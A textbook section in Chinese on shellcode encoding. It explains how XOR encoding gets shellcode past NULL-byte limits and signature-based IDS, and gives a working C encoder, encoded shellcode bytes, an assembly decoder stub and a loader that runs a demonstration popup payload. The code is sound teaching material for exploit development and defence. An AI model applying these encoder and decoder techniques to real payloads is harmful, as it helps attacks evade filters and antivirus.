3.5 shellcode编码技术
3.5.1 为什么要对shellcode编码
在很多漏洞利用场景中,shellcode的内容将会受到限制。
首先,所有的字符串函数都会对NULL字节进行限制。通常我们需要选择特殊的指令来避免在shellcode中直接出现NULL字节(byte,ASCII函数)或字(word,Unicode函数)。
其次,有些函数还会要求shellcode必须为可见字符的ASCII值或Unicode值。在这种限制较多的情况下,如果仍然通过挑选指令的办法控制shellcode的值的话,将会给开发带来很大困难。毕竟用汇编语言写程序就已经不那么容易了,如果在关心程序逻辑和流程的同时,还要分心去选择合适的指令将会让我这样不很聪明的程序员崩溃掉。
最后,除了以上提到的软件自身的限制之外,在进行网络攻击时,基于特征的IDS系统往往也会对常见的shellcode进行拦截。
那么,怎样突破重重防护,把shellcode从程序接口安全地送入堆栈呢?一个比较容易想到的办法就是给shellcode“乔装打扮,让其“蒙混过关”后再展开行动。
我们可以先专心完成shellcode的逻辑,然后使用编码技术对shellcode进行编码,使其内容达到限制的要求,最后再精心构造十几个字节的解码程序,放在shellcode开始执行的地方。
图3.5.1 shellcode编码示意图
当exploit成功时,shellcode顶端的解码程序首先运行,它会在内存中将真正的shellcode还原成原来的样子,然后执行之。这种对shellcode编码的方法和软件加壳的原理非常类似。
这样,我们只需要专注于几条解码指令,使其符合限制条件就行,相对于直接关注于整段shellcode来说使问题简化了很多。本节我们就来实践这样一种方法。
图3.5.2 shellcode解码示意图
题外话:很多病毒也会采取类似加壳的办法来躲避杀毒软件的查杀:首先对自身编码,若直接查看病毒文件的代码节会发现只有几条用于解码的指令,其余都是无效指令;当PE装入开始运行时,解码器将真正的代码指令还原出来,并运行之、实施破坏活动;杀毒软件将一种特征记录之后,病毒开发者只需要使用新的编码算法(密钥)重新对PE文件编码,即可躲过查杀。然而自古正邪不两立,近年来杀毒软件开始普遍采用内存杀毒的办法来增加查杀力度,就是等病毒装载完成并已还原出真面目的时候进行查杀。
3.5.2 会“变形”的shellcode
下面将在上节所实现的通用shellcode的基础上,演示一个最简单的shellcode加壳过程,这包括:对原始shellcode编码,开发解码器,将解码器和经过编码的shellcode送入装载器运行调试。
最简单的编码过程莫过于异或运算了,因为对应的解码过程也同样最简单。我们可以编写程序对shellcode的每个字节用特定的数据进行异或运算,使得整个shellcode的内容达到要求。在编码时需要注意以下几点。
·用于异或的特定数据相当于加密算法的密钥,在选取时不可与shellcode已有字节相同,否则编码后会产生NULL字节。
·可以选用多个密钥分别对shellcode的不同区域进行编码,但会增加解码操作的复杂性。
·可以对shellcode进行很多轮编码运算。
这里给出一个我实现的最简单的基于异或运算的编码器,用于演示这种技术。
void encoder (char* input, unsigned char key, int display_flag)// bool display_flag { int i=0,len=0; FILE * fp; unsigned char * output; len = strlen(input); output=(unsigned char *)malloc(len+1); if(!output) { printf("memory erro!\n"); exit(0); } //encode the shellcode for(i=0;i<len;i++) { output[i] = input[i]^key; } if(!(fp=fopen("encode.txt","w+"))) { printf("output file create erro"); exit(0); } fprintf(fp,"\""); for(i=0;i<len;i++) { fprintf(fp,"\\x%0.2x", output[i]); if((i+1)%16==0) { fprintf(fp,"\"\n\""); } } fprintf(fp,"\";"); fclose(fp); printf("dump the encoded shellcode to encode.txt OK!\n"); if(display_flag)//print to screen { for(i=0;i<len;i++) { printf("%0.2x ",output[i]); if((i+1)%16==0) { printf("\n"); } } } free(output); }
encoder()函数会使用传入的key参数对输入的数据逐一异或,并将其整理成十六进制的形式dump进一个名为encode.txt的文件中。这里对第四节中的通用shellcode进行编码,密钥采用0x44,在main中直接调用encoder(popup_general,0x44 ,1),会得到经过编码的shellcode如下:
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48" "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17" "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf" "\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1" "\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d" "\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e" "\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31" "\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47" "\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f" "\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14" "\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4";
对于解码,我们可以用以下几条指令实现。
void main() { __asm { add eax, 0x14 //越过decoder,记录shellcode的起始地址 xor ecx,ecx decode_loop: mov bl,[eax+ecx] xor bl, 0x44 //这里用0x44作为key,如编码的key改变,这里也要相应 //改变 mov [eax+ecx],bl inc ecx cmp bl,0x90 //在shellcode末尾放上一个字节的0x90作为结束符 jne decode_loop } }
对于这个解码器,有以下需要注意的地方。
(1)解码器不能单独运行,需要用VC 6.0将其编译,然后用OllyDbg提取出二进制的机器代码,联合经过编码的shellcode一起执行。
(2)解码器默认在shellcode开始执行时,EAX已经对准了shellcode的起始位置。
(3)解码器将认为shellcode的最后一个字节为0x90,所以在编码前要注意给原始shellcode多加一个字节的0x90作为结尾,否则会产生错误。
将汇编指令转换为机器代码,如表3-5-1所示。
表3-5-1 将汇编指令转换为机器代码
最后,将这20个字节的解码指令与经过编码的shellcode一起送入装载器测试。
char final_sc_44[]= "\x83\xC0\x14" //ADD EAX,14H "\x33\xC9" //XOR ECX,ECX "\x8A\x1C\x08" //MOV BL,BYTE PTR DS:[EAX+ECX] "\x80\xF3\x44" //XOR BL,44H//notice 0x44 is taken as temp key to decode ! "\x88\x1C\x08" //MOV BYTE PTR DS:[EAX+ECX],BL "\x41" //INC ECX "\x80\xFB\x90" //CMP BL,90H "\x75\xF1" //JNZ SHORT decoder.00401034 "\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48" "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17" "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf" "\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1" "\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d" "\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e" "\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31" "\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47" "\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f" "\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14" "\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4"; void main() { __asm { lea eax, final_sc_44 push eax ret } }
编译运行之,看到熟悉的failwest了吗?
以上是一个最简单的shellcode编码过程,用于演示开发shellcode编码器、解码器的原理和方法。实际上,除了自己开发之外,一个更简单的给shellcode编码、解码的方法是利用MetaSploit。目前,MetaSploit 3.0所提供的编码和解码算法总共有17种(包括本节介绍的单字节异或算法),已经能够满足绝大多数安全测试的需要。